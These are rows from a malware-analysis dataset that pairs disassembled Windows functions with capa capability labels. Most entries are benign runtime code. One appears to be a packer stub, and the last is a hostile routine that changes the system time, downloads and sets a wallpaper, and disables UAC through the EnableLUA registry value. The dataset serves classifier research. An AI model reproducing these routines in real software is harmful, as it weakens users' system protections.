joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016bd0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x148
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x118
call fcn.14001a360
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x140016c2b
mov rax, qword [rsp + 0x20]
shr rax, 0x20
cmp eax, 6
jb 0x140016c21
ja 0x140016c17
cmp dword [rsp + 0x28], 2
jb 0x140016c21
mov al, 1
add rsp, 0x148
ret
xor al, al
add rsp, 0x148
ret
lea r8, str.success___GetVersionEx_failed_
mov edx, 0x3a
lea rcx, str.D:_a_arduino_ide_arduino_ide_node_modules_node_ptydepswinpty_src_sharedWindowsVersion.cc
call fcn.1400178c0
int3

Function at 0x140017850
Capabilities:
Read pipe
Write pipe

Disassembly:
mov rax, r8
mov r9d, edx
mov r8, rcx
mov rdx, rax
lea rcx, str.Assertion_failed:__s__file__s__line__d
jmp fcn.1400149c0

Function at 0x14002173c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002159b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002159b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002159b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002159b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002159b
cmp dword [rcx + 0x84], 0xe
jbe 0x14002159b
cmp dword [rcx + 0xf8], 0
je 0x14002159b
mov ecx, ebx
call fcn.140021658
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140021428
nop
cmp dword [rbp + 0x20], 0
je 0x1400215e9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400215f4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002152c
Function at 0x1400292f0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140029320
xor eax, eax
jmp 0x1400293e3
mov rbp, rbx
cmp word [rax], si
je 0x140029345
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002932c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140029328
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140029240
movsxd r14, eax
test eax, eax
jne 0x140029383
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140029319
mov rcx, r14
call fcn.1400244e0
mov rdi, rax
test rax, rax
jne 0x14002939c
xor ecx, ecx
call fcn.1400244a4
jmp 0x140029378
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140029240
test eax, eax
jne 0x1400293cd
mov rcx, rdi
call fcn.1400244a4
jmp 0x1400293d7
xor ecx, ecx
call fcn.1400244a4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140002bf0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140002c18
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140002c3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002c40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002c99
test ecx, ecx
jle 0x140002c79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002c99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002c99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140002cc0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002ce2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140002cf8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002d14
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002d16
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002d52
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002dee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002d8d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002dce
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002dee
cmp rbx, rax
ja 0x140002da0
test rbx, rbx
je 0x140002dee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140003210
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000323d
xor eax, eax
jmp 0x1400033a9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003277
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003277
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400033a9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000339c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400032ba
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400032e5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400033a1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003354
sub eax, 1
je 0x140003354
cmp eax, 2
jne 0x14000339c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400033a1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003382
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000339c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400033a1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004b20
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400038a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003973
cmp byte [rcx + 0x71], 0
je 0x140003973
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000396f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003934
sub eax, 1
je 0x140003938
cmp eax, 2
jne 0x14000396f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004b20
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003966
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000396f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000391c
xor al, al
jmp 0x14000391c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004b20
add rsp, 0x60
pop rbx
ret

Function at 0x140005624
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000566e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000566e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000566e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000566e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000566e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005670
xor al, al
add rsp, 0x28
ret
Function at 0x10000c8e0
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
push rdi
push rsi
lea rsp, [rsp - 0x20]
mov dx, word [0x1000564e0]
cmp dx, 0xcb
sete al
cmp dx, 0xcc
sete dl
or al, dl
jne 0x10000ca12
mov rax, qword [0x100071840]
test rax, rax
je 0x10000c920
mov ecx, dword [0x100071630]
call rax
mov rbx, rax
jmp 0x10000c927
lea rbx, [0x100071638]
cmp word [0x100071620], 0
jle 0x10000c94e
lea rcx, [0x1000715f0]
call fcn.10000cd00
mov rcx, rbx
call fcn.10000c3c0
mov rcx, rbx
call fcn.10000c450
mov rsi, qword [rbx]
jmp 0x10000c977
mov rdi, qword [rsi + 8]
test byte [rsi], 1
jne 0x10000c970
mov rdx, rsi
mov rcx, rbx
call fcn.10000b630
jmp 0x10000c974
and qword [rsi], 0xfffffffffffffffe
mov rsi, rdi
test rsi, rsi
jne 0x10000c958
mov qword [rbx], 0
mov dword [rbx + 0x90], 0
cmp word [0x100071620], 0
jle 0x10000ca12
lea rdx, [0x100071500]
mov rcx, rbx
call fcn.10000b7b0
mov rsi, rax
test rax, rax
je 0x10000c9e1
mov rax, qword [0x1000715a0]
mov qword [rsi + 0x18], rax
cmp qword [0x1000715a0], 0
je 0x10000c9d3
mov rax, qword [0x1000715a0]
mov qword [rax + 0x10], rsi
jo 0x10000c9e3
mov rax, qword [rbx + 0xa0]
mov qword [0x1000715a0], rax
sub word [0x100071620], 1
cmp word [0x100071620], 0
sete bl
lea rcx, [0x1000715f0]
call fcn.10000cd20
test bl, bl
je 0x10000ca12
lea rcx, [0x1000715f0]
call fcn.10000cce0
nop
lea rsp, [rsp + 0x20]
pop rsi
pop rdi
pop rbx
ret

Function at 0x10000f3a0
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x270]
mov qword [rbp - 0x248], rbx
mov qword [rbp - 0x240], rdi
mov qword [rbp - 0x238], rsi
mov qword [rbp - 0x230], r12
mov qword [rbp - 0x228], r13
mov qword [rbp - 0x220], r14
mov qword [rbp - 0x218], 0
nop
call sub.kernel32.dll_GetCommandLineW
mov rbx, rax
lea rcx, [rbp - 0x218]
xor r8d, r8d
mov rdx, rbx
call fcn.100007760
mov rax, qword [rbp - 0x218]
test rax, rax
je 0x10000f40c
mov rax, qword [rax - 8]
lea rsi, [rax + 1]
movsxd rcx, esi
call fcn.10000c0f0
mov qword [0x100056550], rax
mov rcx, qword [rbp - 0x218]
test rcx, rcx
jne 0x10000f432
lea rcx, [0x100071440]
mov rdx, qword [0x100056550]
movsxd r8, esi
call fcn.100001b90
mov ecx, 0xa
mov edi, 2
cmp word [rbx], 0
cmovne edi, ecx
movsxd rax, edi
lea rcx, [rax*8]
call fcn.10000c0f0
mov qword [0x100071a00], rax
lea rdx, [rbp - 0x20c]
mov r8d, 0x105
xor ecx, ecx
call sub.kernel32.dll_GetModuleFileNameW
mov esi, eax
movsxd r12, eax
mov rcx, rbx
xor r8d, r8d
mov edx, 0x7fffffff
call fcn.100001f00
add rax, r12
lea rcx, [rax + rax + 4]
call fcn.10000c0f0
mov r12, rax
movsxd rax, esi
lea r8, [rax + rax]
mov rdx, r12
lea rcx, [rbp - 0x20c]
call fcn.100001b90
mov rax, qword [0x100071a00]
Function at 0x2fc4d2220
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d3300
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d2c22
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f5108]
test eax, eax
je 0x2fc4d2cba
lea rax, [0x2fc4f50e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f5110]
mov qword [rbp - 8], rax
jmp 0x2fc4d2c9e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d2c92
cmp qword [rbp - 0x10], 0
je 0x2fc4d2c92
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d2c58
lea rax, [0x2fc4f50e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d2cbb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d2dc0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d2de8
mov eax, 0
jmp 0x2fc4d2e36
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d2e11
mov eax, 0
jmp 0x2fc4d2e36
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d2e31
mov eax, 0
jmp 0x2fc4d2e36
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d2e3c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d2eba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d2eb1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d2eb1
mov rax, qword [rbp - 8]
jmp 0x2fc4d2ecf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d2e84
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000a530
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000a53d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000a54d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000a535
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14000a565
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000a552
sub eax, 3
jb 0x14000a57f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000a5b6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14000a5a6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000a5a4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000a593
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14000a4f2
jmp 0x14000a53d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1400
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000a602
cmp rsi, rcx
jae 0x14000a60a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000a5e9
cmp al, 0x8f
ja 0x14000a5e9
cmp byte [rsi - 2], 0xf
je 0x14000a5ef
sub al, 0xe8
cmp al, 1
ja 0x14000a5d3
cmp rsi, rcx
jae 0x14000a60a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000a5d9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000a60a
lodsb al, byte [rsi]
jmp 0x14000a5e9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x8000]
mov eax, dword [rdi]
or eax, eax
je 0x14000a667
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xa920]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000a617
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000a661
mov qword [rbx], rax
add rbx, 8
jmp 0x14000a637
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000a6a1
cmp al, 0xef
ja 0x14000a693
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000a673
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000a682
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000a6f5
sub rsp, 0xffffffffffffff80
jmp 0x1400017b0
Function at 0x140001000
Capabilities:
Create http request
Disable system features via registry on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x470
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov eax, 0x21
mov dword [rsp + 0x50], 0x30d05
mov r12d, 3
mov dword [rsp + 0x56], 0x20003
lea rcx, [rsp + 0x50]
mov word [rsp + 0x5a], ax
lea r15d, [r12 - 1]
call qword [sym.imp.KERNEL32.dll_SetSystemTime]
xor r14d, r14d
lea edx, [r12 - 2]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x140001187
mov qword [rsp + 0x28], r14
lea rdx, str.https:__static.wikia.nocookie.net_fridaynightfunking_images_1_1d_Difficultyface_cooldudecrafter_Pack.png_
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x498], rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140001176
mov qword [rsp + 0x30], r14
lea rcx, str.C:_fire_in_the_hole.jpg
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r15d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000116d
mov qword [rsp + 0x490], rbx
nop word [rax + rax]
lea r9, [rsp + 0x48]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [rsp + 0x48]
mov ebx, eax
test ecx, ecx
je 0x140001140
mov r8d, ecx
mov qword [rsp + 0x20], r14
mov rcx, rsi
lea rdx, [rsp + 0x60]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rsp + 0x48]
test ebx, ebx
je 0x140001148
test ecx, ecx
jne 0x140001100
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x490]
jmp 0x14000117f
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x498]
xor edx, edx
lea r8, str.C:_fire_in_the_hole.jpg
mov r9d, r12d
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
lea rax, [rsp + 0x40]
mov r9d, r15d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
lea rdx, str.EnableLUA
mov r9d, 4
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001230
lea r11, [rsp + 0x470]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret